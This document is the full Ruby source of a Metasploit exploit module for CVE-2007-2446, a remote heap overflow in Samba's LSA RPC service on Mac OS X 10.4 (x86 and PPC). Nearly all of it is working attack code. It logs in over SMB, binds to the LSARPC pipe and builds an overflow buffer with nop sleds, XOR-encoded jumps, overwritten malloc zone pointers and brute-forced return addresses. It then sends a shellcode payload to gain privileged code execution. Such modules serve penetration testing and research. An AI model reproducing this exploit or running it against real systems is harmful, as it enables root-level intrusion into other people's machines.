Samba lsa_io_trans_names Heap Overflow



##

# $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB
    include Msf::Exploit::Brute

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
            'Description'    => %q{
                This module triggers a heap overflow in the LSA RPC service
            of the Samba daemon. This module uses the szone_free() to overwrite
            the size() or free() pointer in initial_malloc_zones structure.
            },
            'Author'         =>
                [
                    'ramon',
                    'Adriano Lima <adriano@risesecurity.org>',
                    'hdm'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9021 $',
            'References'     =>
                [
                    ['CVE', '2007-2446'],
                    ['OSVDB', '34699'],
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 1024,
                },
            'Platform'       => 'osx',
            'DefaultOptions' =>
                {
                    'PrependSetresuid' => true,
                },
            'Targets'        =>
                [
                    ['Mac OS X 10.4.x x86 Samba 3.0.10',
                    {
                        'Platform'      => 'osx',
                        'Arch'          => [ ARCH_X86 ],
                        'Nops'          => 4 * 1024,
                        'Bruteforce' =>
                            {
                                'Start' => { 'Ret' => 0x01818000 },
                                'Stop'  => { 'Ret' => 0x01830000 },
                                'Step'  => 3351,
                            },
                    }
                    ],
                    ['Mac OS X 10.4.x PPC Samba 3.0.10',
                    {
                        'Platform'      => 'osx',
                        'Arch'          => [ ARCH_PPC ],
                        'Nops'          => 1600,
                        'Bruteforce' =>
                            {
                                'Start' => { 'Ret' => 0x01813000 },
                                'Stop'  => { 'Ret' => 0x01830000 },
                                'Step'  => 796,
                            }
                    }
                    ],
                    ['DEBUG',
                    {
                        'Platform'      => 'osx',
                        'Arch'          => [ ARCH_X86 ],
                        'Nops'          => 4 * 1024,
                        'Bruteforce' =>
                            {
                                'Start' => { 'Ret' => 0xaabbccdd },
                                'Stop'  => { 'Ret' => 0xaabbccdd },
                                'Step'  => 0,
                            }
                    }
                    ],
                ],
            'DisclosureDate' => 'May 14 2007'
            ))

        register_options(
            [
                OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
            ], self.class)

    end

    # Handle a strange byteswapping issue on PPC
    def ppc_byteswap(addr)
        data = [addr].pack('N')
        (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
    end

    def brute_exploit(target_addrs)

        if(not @nops)
            if (target['Nops'] > 0)
                print_status("Creating nop sled....")
                @nops = make_nops(target['Nops'])
            else
                @nops = ''
            end
        end

        print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

        pipe = datastore['SMBPIPE'].downcase

        print_status("Connecting to the SMB service...")
        connect()
        smb_login()

        datastore['DCERPC::fake_bind_multi'] = false

        handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
        print_status("Binding to #{handle} ...")
        dcerpc_bind(handle)
        print_status("Bound to #{handle} ...")

        num_entries  = 256
        num_entries2 = 257

        #
        # First talloc_chunk
        # 16 bits align
        # 16 bits sid_name_use
        #     16 bits uni_str_len
        #     16 bits uni_max_len
        #     32 bits buffer
        # 32 bits domain_idx
        #
        buf = (('A' * 16) * num_entries)

        # Padding
        buf << 'A' * 4

        #
        # Use the szone_free() to overwrite the size() pointer in
        # initial_malloc_zones structure.
        #
        size_pointer = 0x1800008

        # Initial nops array
        nops = ''

        # x86
        if (target.arch.include?(ARCH_X86))

            #
            # We don't use the size() pointer anymore because it
            # results in a unexpected behavior when smbd process
            # is started by launchd.
            #
            free_pointer = 0x1800018
            nop = "\x16"

            #
            # First talloc_chunk
            # 16 bits align
            # 16 bits sid_name_use
            #     16 bits uni_str_len
            #     16 bits uni_max_len
            #     32 bits buffer
            # 32 bits domain_idx
            #

            # First nop block
            buf = ((nop * 16) * num_entries)

            #
            # A nop block of 0x16 (pushl %ss) and the address of
            # 0x1800014 results in a jns instruction which when
            # executed will jump over the address written eight
            # bytes past our target address by szone_free() (the
            # sign flag is zero at the moment our target address is
            # executed).
            #
            # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
            #
            # This is the output of the sequence of xor operations
            #   0:   79 23                   jns    0x25
            #   2:   96                      xchgl  %eax,%esi
            #   3:   17                      popl   %ss
            #   4:   16                      pushl  %ss
            #   5:   16                      pushl  %ss
            #   6:   16                      pushl  %ss
            #   7:   16                      pushl  %ss
            #   8:   14 00                   adcb   $0x0,%al
            #   a:   80 01 16                addb   $0x16,(%ecx)
            #
            # This jump is needed because the ecx register does not
            # point to a valid memory location in free() context
            # (it is zero).
            #
            # The jump will hit our nop block which will be executed
            # until it reaches the payload.
            #

            # Padding nops
            buf << nop * 2

            # Jump over the pointers
            buf << "\xeb\x08"

            # Pointers
            buf << [target_addrs['Ret']].pack('V')
            buf << [free_pointer - 4].pack('V')

            #
            # We expect to hit this nop block or the one before
            # the pointers.
            #
            buf << nop * (3852 - 8 - payload.encoded.length)

            # Payload
            buf << payload.encoded

            # Padding nops
            buf << nop * 1024

            stub = lsa_open_policy(dcerpc)

            stub << NDR.long(0)            # num_entries
            stub << NDR.long(0)            # ptr_sid_enum
            stub << NDR.long(num_entries)  # num_entries
            stub << NDR.long(0x20004)      # ptr_trans_names
            stub << NDR.long(num_entries2) # num_entries2
            stub << buf

        # PPC
        else

            #
            #  The first half of the nop sled is an XOR encoded branch
            #  instruction. The second half is a series of unencoded nop
            #  instructions. The result is:
            #
            #  > This is the decoded branch instruction
            #  0x181c380:      bl      0x181c6a0
            #
            #  > The size pointer is written below this
            #  0x181c384:      .long 0x1800004
            #
            #  > Followed by the encoded branch sled
            #  0x181c388:      ba      0x180365c
            #  [ ... ]
            #
            #  > The branch lands in the normal nop sled
            #  0x181c6a0:      andi.   r17,r16,58162
            #  [ ... ]
            #
            #  > Finally we reach our payload :-)
            #

            size_pointer = size_pointer - 4

            sled = target['Nops']
            jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
            nops = (jump * (sled / 8)) + @nops[0, sled / 8]

            addr_size = ppc_byteswap(size_pointer)
            addr_ret  = ppc_byteswap(target_addrs['Ret'])

            # This oddness is required for PPC
            buf << [addr_size].pack('N')
            buf << [addr_ret ].pack('N')[2,2]
            buf << [addr_ret ].pack('N')

            # Padding
            buf << "A" * (256 - 10)

            stub = lsa_open_policy(dcerpc)

            stub << NDR.long(0)            # num_entries
            stub << NDR.long(0)            # ptr_sid_enum
            stub << NDR.long(num_entries)  # num_entries
            stub << NDR.long(0x20004)      # ptr_trans_names
            stub << NDR.long(num_entries2) # num_entries2
            stub << buf
            stub << nops
            stub << payload.encoded
        end

        print_status("Calling the vulnerable function...")

        begin
            # LsarLookupSids
            dcerpc.call(0x0f, stub)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
            print_status('Server did not respond, this is expected')
        rescue Rex::Proto::DCERPC::Exceptions::Fault
            print_error('Server is most likely patched...')
        rescue => e
            if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
                print_status('Server disconnected, this is expected')
            else
                print_error("Error: #{e.class}: #{e}")
            end
        end

        handler
        disconnect
    end

    def lsa_open_policy(dcerpc, server="\\")

        stubdata =
            # Server
            NDR.uwstring(server) +
            # Object Attributes
                NDR.long(24) + # SIZE
                NDR.long(0)  + # LSPTR
                NDR.long(0)  + # NAME
                NDR.long(0)  + # ATTRS
                NDR.long(0)  + # SEC DES
                    # LSA QOS PTR
                    NDR.long(1)  + # Referent
                    NDR.long(12) + # Length
                    NDR.long(2)  + # Impersonation
                    NDR.long(1)  + # Context Tracking
                    NDR.long(0)  + # Effective Only
            # Access Mask
            NDR.long(0x02000000)

        res = dcerpc.call(6, stubdata)

        dcerpc.last_response.stub_data[0,20]
    end

end